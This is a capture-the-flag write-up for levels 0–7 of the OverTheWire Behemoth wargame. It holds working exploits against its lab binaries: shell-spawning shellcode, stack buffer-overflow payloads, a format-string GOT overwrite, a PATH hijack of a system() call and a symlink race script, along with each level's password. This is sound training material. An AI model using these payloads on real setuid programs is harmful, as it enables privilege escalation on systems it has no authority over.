[OTW] Write-up for the Behemoth Wargame


The Behemoth wargame is an online game offered by the OverTheWire community. This wargame deals with a lot of regular vulnerabilities found commonly out in the wild. While the game makes no attempts at emulating a real environment it will teach you how to exploit several of the most common coding mistakes including buffer overflows, race conditions and privilege escalation.

The challenges can be found in the /behemoth/ folder and the passwords for each level can be found in /etc/behemoth_pass/behemothX. Also, unlike the Narnia wargame, we don’t have any source for the challenges so, reverse engineering required !

Ready ?!

image-center

Behemoth 00 Solution

SSH : ssh behemoth0@narnia.labs.overthewire.org -p 2221
Pass : behemoth0

If we try to execute the program we get asked for a password…

behemoth0@behemoth:~$ cd /behemoth/
behemoth0@behemoth:/behemoth$ ./behemoth0
Password: blah
Access denied..

Out of curiosity, I tried to ltrace the executable :

behemoth0@behemoth:/behemoth$ ltrace ./behemoth0
__libc_start_main(0x80485b1, 1, 0xffffd764, 0x8048680 <unfinished ...>
printf("Password: ")                                                     = 10
__isoc99_scanf(0x804874c, 0xffffd66b, 0xf7fc5000, 13Password: blah
)                    = 1
strlen("OK^GSYBEX^Y")                                                    = 11
strcmp("blah", "eatmyshorts")                                            = -1
puts("Access denied.."Access denied..
)                                                  = 16
+++ exited (status 0) +++

Note: ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program.

The output is quite interesting as we get the password comparison : strcmp("blah", "eatmyshorts"). Let’s try it again.

behemoth0@behemoth:/behemoth$ ./behemoth0
Password: eatmyshorts
Access granted..
$ whoami
behemoth1
$ cat /etc/behemoth_pass/behemoth1
aesebootiv

Success !

Behemoth 01 Solution

SSH : ssh behemoth1@narnia.labs.overthewire.org -p 2221
Pass : aesebootiv

The second level is similar to the first one :

behemoth1@behemoth:/behemoth$ ./behemoth1
Password: blah
Authentication failure.
Sorry.

This time the ltrace trick does not work. However, there is a buffer overflow.

behemoth1@behemoth:/behemoth$ (python -c "print 128 * 'A'") | ./behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault

A little bit of analysis is required here…

behemoth1@behemoth:/behemoth$ gdb -q ./behemoth1
Reading symbols from ./behemoth1...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x0804844b <+0>:	push   ebp
   0x0804844c <+1>:	mov    ebp,esp
   0x0804844e <+3>:	sub    esp,0x44
   0x08048451 <+6>:	push   0x8048500
   0x08048456 <+11>:	call   0x8048300 <printf@plt>
   0x0804845b <+16>:	add    esp,0x4
   0x0804845e <+19>:	lea    eax,[ebp-0x43]
   0x08048461 <+22>:	push   eax
   0x08048462 <+23>:	call   0x8048310 <gets@plt>
   0x08048467 <+28>:	add    esp,0x4
   0x0804846a <+31>:	push   0x804850c
   0x0804846f <+36>:	call   0x8048320 <puts@plt>
   0x08048474 <+41>:	add    esp,0x4
   0x08048477 <+44>:	mov    eax,0x0
   0x0804847c <+49>:	leave
   0x0804847d <+50>:	ret
End of assembler dump.

The line 0x0804844e <+3>: sub esp,0x44 allocate 0x44 bytes (or 68 bytes) on the stack and this space is used in the gets() call to store our input. Let’s overwrite the EIP.

(gdb) run < <(python -c 'print 71 * "A" + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth1 < <(python -c 'print 71 * "A" + "BBBB"')
Password: Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Okay, now we’ll place the following shellcode in an environment variable. I also added some NOP padding, just to be sure…

export SHELLCODE=$(python -c 'print 20 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + 20 * "\x90"')

Let’s start GDB and find the environment variable we just created :

behemoth1@behemoth:/behemoth$ gdb -q behemoth1
Reading symbols from behemoth1...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *main
Breakpoint 1 at 0x804844b
(gdb) run
Starting program: /behemoth/behemoth1

Breakpoint 1, 0x0804844b in main ()
(gdb) x/s *((char **)environ)
0xffffd826:	"LC_ALL=en_US.UTF-8"

...[removed]...

0xffffde4b:	"OLDPWD=/home/behemoth1"
(gdb)
0xffffde62:	"SHELLCODE=", '\220' <repeats 20 times>, "\061\300Ph//shh/bin\211\343\211\301\211°\v̀1\300@̀", '\220' <repeats 20 times>
(gdb) run < <(python -c 'print 71 * "\x90" +  "\x62\xde\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth1 < <(python -c 'print 71 * "\x90" +  "\x62\xde\xff\xff"')

Breakpoint 1, 0x0804844b in main ()
(gdb) continue
Continuing.
Password: Authentication failure.
Sorry.
process 17815 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
[Inferior 1 (process 17815) exited normally]
(gdb)

Now, we’ll find the address of the SHELLCODE variable outside GDB using the following code. You can compile it in /tmp/.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
  printf("%s is at %p\n", argv[1], getenv(argv[1]));
}

Compile and run it :

behemoth1@behemoth:/behemoth$ cd /tmp/
behemoth1@behemoth:/tmp$ gcc -m32 find_addr.c -o find_addr
behemoth1@behemoth:/tmp$ ./find_addr SHELLCODE
SHELLCODE is at 0xffffde80

Finally, we can execute our exploit…

behemoth1@behemoth:/behemoth$ (python -c 'print 71 * "\x90" + "\x80\xde\xff\xff"';cat) | ./behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
eimahquuof

Behemoth 02 Solution

SSH : ssh behemoth2@narnia.labs.overthewire.org -p 2221
Pass : eimahquuof

For this one I ran ltrace to see how it worked :

behemoth2@behemoth:/behemoth$ ltrace ./behemoth2
__libc_start_main(0x804856b, 1, 0xffffd764, 0x8048660 <unfinished ...>
getpid()                                                                 = 17924
sprintf("touch 17924", "touch %d", 17924)                                = 11
__lxstat(3, "17924", 0xffffd630)                                         = -1
unlink("17924")                                                          = -1
geteuid()                                                                = 13002
geteuid()                                                                = 13002
setreuid(13002, 13002)                                                   = 0
system("touch 17924"touch: cannot touch '17924': Permission denied
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                   = 256
sleep(2000^C <no return ...>
--- SIGINT (Interrupt) ---
+++ killed by SIGINT +++

It seems that the program build a string using touch and its PID then execute it via a system() call. We could try to symlink touch to another executable like cat to force the program to read out our password.

behemoth2@behemoth:/tmp$ mkdir ax
behemoth2@behemoth:/tmp$ cd ax
behemoth2@behemoth:/tmp/ax$ echo "cat /etc/behemoth_pass/behemoth3" > /tmp/ax/touch
behemoth2@behemoth:/tmp/ax$ chmod 777 touch

Then, execute the challenge in your temporary directory :

behemoth2@behemoth:/tmp/ax$ /behemoth/behemoth2
nieteidiel

Behemoth 03 Solution

SSH : ssh behemoth3@narnia.labs.overthewire.org -p 2221
Pass : nieteidiel

Here, we got a simple format string vulnerability.

behemoth3@behemoth:/behemoth$ ./behemoth3
Identify yourself: %08x.%08x
Welcome, 78383025.3830252e

aaaand goodbye again.

Let’s check the code in GDB.

Dump of assembler code for function main:
   0x0804847b <+0>:	push   ebp
   0x0804847c <+1>:	mov    ebp,esp
   0x0804847e <+3>:	sub    esp,0xc8
   0x08048484 <+9>:	push   0x8048560
   0x08048489 <+14>:	call   0x8048330 <printf@plt>
   0x0804848e <+19>:	add    esp,0x4
   0x08048491 <+22>:	mov    eax,ds:0x80497c0
   0x08048496 <+27>:	push   eax
   0x08048497 <+28>:	push   0xc8
   0x0804849c <+33>:	lea    eax,[ebp-0xc8]
   0x080484a2 <+39>:	push   eax
   0x080484a3 <+40>:	call   0x8048340 <fgets@plt>
   0x080484a8 <+45>:	add    esp,0xc
   0x080484ab <+48>:	push   0x8048574
   0x080484b0 <+53>:	call   0x8048330 <printf@plt>
   0x080484b5 <+58>:	add    esp,0x4
   0x080484b8 <+61>:	lea    eax,[ebp-0xc8]
   0x080484be <+67>:	push   eax
   0x080484bf <+68>:	call   0x8048330 <printf@plt>
   0x080484c4 <+73>:	add    esp,0x4
   0x080484c7 <+76>:	push   0x804857e
   0x080484cc <+81>:	call   0x8048350 <puts@plt>
   0x080484d1 <+86>:	add    esp,0x4
   0x080484d4 <+89>:	mov    eax,0x0
   0x080484d9 <+94>:	leave
   0x080484da <+95>:	ret
End of assembler dump.

Here we could try to overwrite the call to puts() with an address contained in the environment variables. First we need to find the address call and export a shellcode.

behemoth3@behemoth:/behemoth$ objdump -R behemoth3

behemoth3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049794 R_386_GLOB_DAT    __gmon_start__
080497c0 R_386_COPY        stdin@@GLIBC_2.0
080497a4 R_386_JUMP_SLOT   printf@GLIBC_2.0
080497a8 R_386_JUMP_SLOT   fgets@GLIBC_2.0
080497ac R_386_JUMP_SLOT   puts@GLIBC_2.0
080497b0 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0

behemoth3@behemoth:/behemoth$ export SHELLCODE=$(python -c 'print 20 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + 20 * "\x90"')

The puts() call is at 080497ac. Now let’s find the SHELLCODE address.

behemoth3@behemoth:/behemoth$ gdb -q behemoth3
Reading symbols from behemoth3...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) x/s *((char **)environ)
No symbol table is loaded.  Use the "file" command.
(gdb) break *main
Breakpoint 1 at 0x804847b
(gdb) x/s *((char **)environ)
No symbol table is loaded.  Use the "file" command.
(gdb) run
Starting program: /behemoth/behemoth3

Breakpoint 1, 0x0804847b in main ()
(gdb) x/s *((char **)environ)
0xffffd826:	"LC_ALL=en_US.UTF-8"

...[removed]...

0xffffde62:	"SHELLCODE=", '\220' <repeats 20 times>, "\061\300Ph//shh/bin\211\343\211\301\211°\v̀1\300@̀", '\220' <repeats 20 times>
(gdb)

The shellcode is at 0xffffde62. This value need to be wrote at 0x080497ac. Let’s write the PoC :

(gdb) break *main+81
Breakpoint 1 at 0x80484cc
(gdb) run
Starting program: /behemoth/behemoth3
Identify yourself: 123
Welcome, 123

Breakpoint 1, 0x080484cc in main ()
(gdb) x/wx 0x080497ac
0x80497ac:	0x08048356

0x80497ac:	0xffffde62
(gdb) conti
Continuing.
process 18577 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
[Inferior 1 (process 18577) exited normally]

Looks good ! Let’s do the same outside GDB :

behemoth3@behemoth:/behemoth$ /tmp/find_addr SHELLCODE
SHELLCODE is at 0xffffde75
behemoth3@behemoth:/behemoth$ (python -c 'print "\xac\x97\x04\x08\xae\x97\x04\x08%56941x%1$hn%8586x%2$hn"';cat) | ./behemoth3
whoami
behemoth4
cat /etc/behemoth_pass/behemoth4
ietheishei

Behemoth 04 Solution

SSH : ssh behemoth4@narnia.labs.overthewire.org -p 2221
Pass : ietheishei

Once again, I ltrace the code :

behemoth4@behemoth:/behemoth$ ltrace ./behemoth4
__libc_start_main(0x804857b, 1, 0xffffd764, 0x8048640 <unfinished ...>
getpid()                                                                       = 18680
sprintf("/tmp/18680", "/tmp/%d", 18680)                                        = 10
fopen("/tmp/18680", "r")                                                       = 0
puts("PID not found!"PID not found!
)                                                         = 15
+++ exited (status 0) +++

The code create a file with the PID and read it back. Of course, it the file does not exist we get an error. Here, we could pause the process right after it starts, create a symlink to the password with the PID as name and resume the process to get the password. If found a piece of code online to do that :

/behemoth/behemoth4&
PID=$!
kill -STOP $PID
ln -s /etc/behemoth_pass/behemoth5 /tmp/$PID
kill -CONT $PID
echo $PID

Run it !

behemoth4@behemoth:/behemoth$ /tmp/test.sh
18729
behemoth4@behemoth:/behemoth$ Finished sleeping, fgetcing
aizeeshing

Behemoth 05 Solution

SSH : ssh behemoth5@narnia.labs.overthewire.org -p 2221
Pass : aizeeshing

First, ltrace the code :

behemoth5@behemoth:/behemoth$ ltrace ./behemoth5
__libc_start_main(0x804872b, 1, 0xffffd764, 0x8048920 <unfinished ...>
fopen("/etc/behemoth_pass/behemoth6", "r")                          = 0
perror("fopen"fopen: Permission denied
)                                                     = <void>
exit(1 <no return ...>
+++ exited (status 1) +++

Nothing much to say… It seems that the code open the file containing the password for the next level and exit on an error. If we check the code, there is a call to the socket() function to open an UDP socket. Then, we have a call to atoi() which is used to parse a string to an integral number, in our case it will be the port to connect to.

behemoth5@behemoth:/behemoth$ gdb -q ./behemoth5
Reading symbols from ./behemoth5...(no debugging symbols found)...done.
(gdb) break *main
Breakpoint 1 at 0x804872b
(gdb) set disassembly-flavor intel
(gdb) run
(gdb) run
Starting program: /behemoth/behemoth5

Breakpoint 1, 0x0804872b in main ()
(gdb) disas main
Dump of assembler code for function main:
=> 0x0804872b <+0>:	lea    ecx,[esp+0x4]
   0x0804872f <+4>:	and    esp,0xfffffff0
   0x08048732 <+7>:	push   DWORD PTR [ecx-0x4]

...[removed]...

   0x0804882f <+260>:	sub    esp,0x4
   0x08048832 <+263>:	push   0x0
   0x08048834 <+265>:	push   0x2
   0x08048836 <+267>:	push   0x2
   0x08048838 <+269>:	call   0x80485f0 <socket@plt>
   
...[removed]...

   0x0804886c <+321>:	push   0x80489e4
   0x08048871 <+326>:	call   0x80485e0 <atoi@plt>

...[removed]...

End of assembler dump.
(gdb) x/s 0x80489e4
0x80489e4:	"1337"
(gdb)

We can tell its UDP due to the arguments passed to socket() :

  • 0 = Protocol value for IP, which is 0
  • 2 = SOCK_DGRAM (UDP)
  • 2 = AF_INET (IPv4)

And the port seems to be 1337. Maybe the executable send something on the port 1337. Let’s open another shell and run a local UDP listener on port 1337 and run the executable.

# Shell 1
behemoth5@behemoth:/behemoth$ ./behemoth5

# Shell 2
behemoth5@behemoth:~$ nc -ulp 1337
mayiroeche

Behemoth 06 Solution

SSH : ssh behemoth6@narnia.labs.overthewire.org -p 2221
Pass : mayiroeche

Here we got 2 executables. One for the challenge and another to test our shellcodes.

behemoth6@behemoth:/behemoth$ ./behemoth6
Incorrect output.
behemoth6@behemoth:/behemoth$ ./behemoth6_reader
Couldn't open shellcode.txt!

When we ltrace the challenge we can get an idea of what we need to do :

behemoth6@behemoth:/behemoth$ ltrace ./behemoth6
__libc_start_main(0x80485db, 1, 0xffffd764, 0x80486d0 <unfinished ...>
popen("/behemoth/behemoth6_reader", "r")                        = 0x804b008
malloc(10)                                                      = 0x804b0b8
fread(0x804b0b8, 10, 1, 0x804b008)                              = 1
--- SIGCHLD (Child exited) ---
pclose(0x804b008)                                               = 0
strcmp("Couldn't o", "HelloKitty")                              = -1
puts("Incorrect output."Incorrect output.
)                                       = 18
+++ exited (status 0) +++

Basically, it takes the output of behemoth6_reader and compare it to the string HelloKitty. So, we just need to write a shellcode printing HelloKitty. Here it is :

BITS 32

jmp short string

code:
	pop ecx
	xor eax, eax
	mov al, 4
	xor ebx, ebx
	inc ebx
	xor edx, edx
	mov dl, 10
	int 0x80

	mov al, 1
	dec ebx
	int 0x80

string:
	call code
	db "HelloKitty"

Then, assembly it, extract it and put it in a file called **shellcode.txt :

behemoth6@behemoth:/behemoth$ cd /tmp/
behemoth6@behemoth:/tmp$ mkdir barfoo
behemoth6@behemoth:/tmp$ cd barfoo
behemoth6@behemoth:/tmp/barfoo$ nasm HelloKitty.asm
behemoth6@behemoth:/tmp/barfoo$ ndisasm  -b32 HelloKitty
00000000  EB13              jmp short 0x15
00000002  59                pop ecx
00000003  31C0              xor eax,eax
00000005  B004              mov al,0x4
00000007  31DB              xor ebx,ebx
00000009  43                inc ebx
0000000A  31D2              xor edx,edx
0000000C  B20A              mov dl,0xa
0000000E  CD80              int 0x80
00000010  B001              mov al,0x1
00000012  4B                dec ebx
00000013  CD80              int 0x80
00000015  E8E8FFFFFF        call dword 0x2
0000001A  48                dec eax
0000001B  656C              gs insb
0000001D  6C                insb
0000001E  6F                outsd
0000001F  4B                dec ebx
00000020  69                db 0x69
00000021  7474              jz 0x97
00000023  79                db 0x79
behemoth6@behemoth:/tmp/barfoo$ (python -c "print '\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79'") > /tmp/barfoo/shellcode.txt
behemoth6@behemoth:/tmp/barfoo$ chmod 777 shellcode.txt

Finally you can run behemoth6 :

behemoth6@behemoth:/tmp/barfoo$ /behemoth/behemoth6
Correct.
$ whoami
behemoth7
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo

Behemoth 07 Solution

SSH : ssh behemoth7@narnia.labs.overthewire.org -p 2221
Pass : baquoxuafo

Here, no output when I tried to start the executable with and without arguments. So again, ltrace to the rescue (with args) !

behemoth7@behemoth:/behemoth$ ltrace ./behemoth7 AAAA
__libc_start_main(0x804852b, 2, 0xffffd764, 0x8048650 <unfinished ...>
strlen("LC_ALL=en_US.UTF-8")                                 = 18
memset(0xffffd891, '\0', 18)                                 = 0xffffd891
strlen("LS_COLORS=rs=0:di=01;34:ln=01;36"...)                = 1467
memset(0xffffd8a4, '\0', 1467)                               = 0xffffd8a4
strlen("SSH_CONNECTION=173.178.59.19 608"...)                = 52
memset(0xffffde60, '\0', 52)                                 = 0xffffde60
strlen("LANG=en_US.UTF-8")                                   = 16
memset(0xffffde95, '\0', 16)                                 = 0xffffde95
strlen("USER=behemoth7")                                     = 14
memset(0xffffdea6, '\0', 14)                                 = 0xffffdea6
strlen("PWD=/behemoth")                                      = 13
memset(0xffffdeb5, '\0', 13)                                 = 0xffffdeb5
strlen("HOME=/home/behemoth7")                               = 20
memset(0xffffdec3, '\0', 20)                                 = 0xffffdec3
strlen("LC_CTYPE=en_CA.UTF-8")                               = 20
memset(0xffffded8, '\0', 20)                                 = 0xffffded8
strlen("SSH_CLIENT=173.178.59.19 60849 2"...)                = 33
memset(0xffffdeed, '\0', 33)                                 = 0xffffdeed
strlen("SSH_TTY=/dev/pts/14")                                = 19
memset(0xffffdf0f, '\0', 19)                                 = 0xffffdf0f
strlen("MAIL=/var/mail/behemoth7")                           = 24
memset(0xffffdf23, '\0', 24)                                 = 0xffffdf23
strlen("TERM=xterm-256color")                                = 19
memset(0xffffdf3c, '\0', 19)                                 = 0xffffdf3c
strlen("SHELL=/bin/bash")                                    = 15
memset(0xffffdf50, '\0', 15)                                 = 0xffffdf50
strlen("TMOUT=1800")                                         = 10
memset(0xffffdf60, '\0', 10)                                 = 0xffffdf60
strlen("SHLVL=1")                                            = 7
memset(0xffffdf6b, '\0', 7)                                  = 0xffffdf6b
strlen("LOGNAME=behemoth7")                                  = 17
memset(0xffffdf73, '\0', 17)                                 = 0xffffdf73
strlen("PATH=/usr/local/bin:/usr/bin:/bi"...)                = 61
memset(0xffffdf85, '\0', 61)                                 = 0xffffdf85
strlen("OLDPWD=/home/behemoth7")                             = 22
memset(0xffffdfc3, '\0', 22)                                 = 0xffffdfc3
strlen("_=/usr/bin/ltrace")                                  = 17
memset(0xffffdfda, '\0', 17)                                 = 0xffffdfda
__ctype_b_loc()                                              = 0xf7e106cc
__ctype_b_loc()                                              = 0xf7e106cc
__ctype_b_loc()                                              = 0xf7e106cc
__ctype_b_loc()                                              = 0xf7e106cc
strcpy(0xffffd4bc, "AAAA")                                   = 0xffffd4bc
+++ exited (status 0) +++

Okay, we can see that each of our environment variables are zeroed-out so, forget about placing a shellcode into an environment variable… Then, we got a call to strcpy() with our argument. We can try to overflow it !

behemoth7@behemoth:/behemoth$ gdb -q ./behemoth7
Reading symbols from ./behemoth7...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) run $(python -c "print 600 * 'A'")
Starting program: /behemoth/behemoth7 $(python -c "print 600 * 'A'")

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Yay ! Now, we need to find the return address…

(gdb) run $(python -c "print 528 * 'A' + 'BBBB'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth7 $(python -c "print 528 * 'A' + 'BBBB'")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Looking good ! Let’s place a shellcode and try again :

(gdb) run $(python -c "print 507 * '\x90' + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + 'BBBB'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth7 $(python -c "print 507 * '\x90' + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + 'BBBB'")
Non-alpha chars found in string, possible shellcode!
[Inferior 1 (process 20388) exited with code 01]

Ooooops… So, it seems that we need to have a shellcode in alphanum. However, after some try I figured out that we could place our shellcode after the return address :

(gdb) run $(python -c "print 528 * '\x41' + 'BBBB' + 200 * '\x90' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")
Starting program: /behemoth/behemoth7 $(python -c "print 528 * '\x41' + 'BBBB' + 200 * '\x90' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/500wx $esp

...[removed]...

0xffffd6e0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd6f0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd700:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd710:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd720:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd730:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd740:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd750:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd760:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd770:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd780:	0x41414141	0x41414141	0x41414141	0x42424141
0xffffd790:	0x90904242	0x90909090	0x90909090	0x90909090
0xffffd7a0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd7b0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd7c0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd7d0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd7e0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd7f0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd800:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd810:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd820:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd830:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd840:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd850:	0x90909090	0x90909090	0xc0319090	0x2f2f6850
0xffffd860:	0x2f686873	0x896e6962	0x89c189e3	0xcd0bb0c2
0xffffd870:	0x40c03180	0x000080cd	0x00000000	0x00000000
0xffffd880:	0x00000000	0x00000000	0x00000000	0x00000000

Now, let’s choose a random address in the NOP sled like 0xffffd7e0.

(gdb) run $(python -c "print 528 * '\x41' + '\xe0\xd7\xff\xff' + 200 * '\x90' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth7 $(python -c "print 528 * '\x41' + '\xe0\xd7\xff\xff' + 200 * '\x90' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")
process 20467 is executing new program: /bin/dash
$

Awesome, let’s quit GDB and try that…

behemoth7@behemoth:/behemoth$ ./behemoth7 $(python -c "print 528 * '\x41' + '\xe0\xd7\xff\xff' + 200 * '\x90' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")
$ whoami
behemoth8
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae

Boom !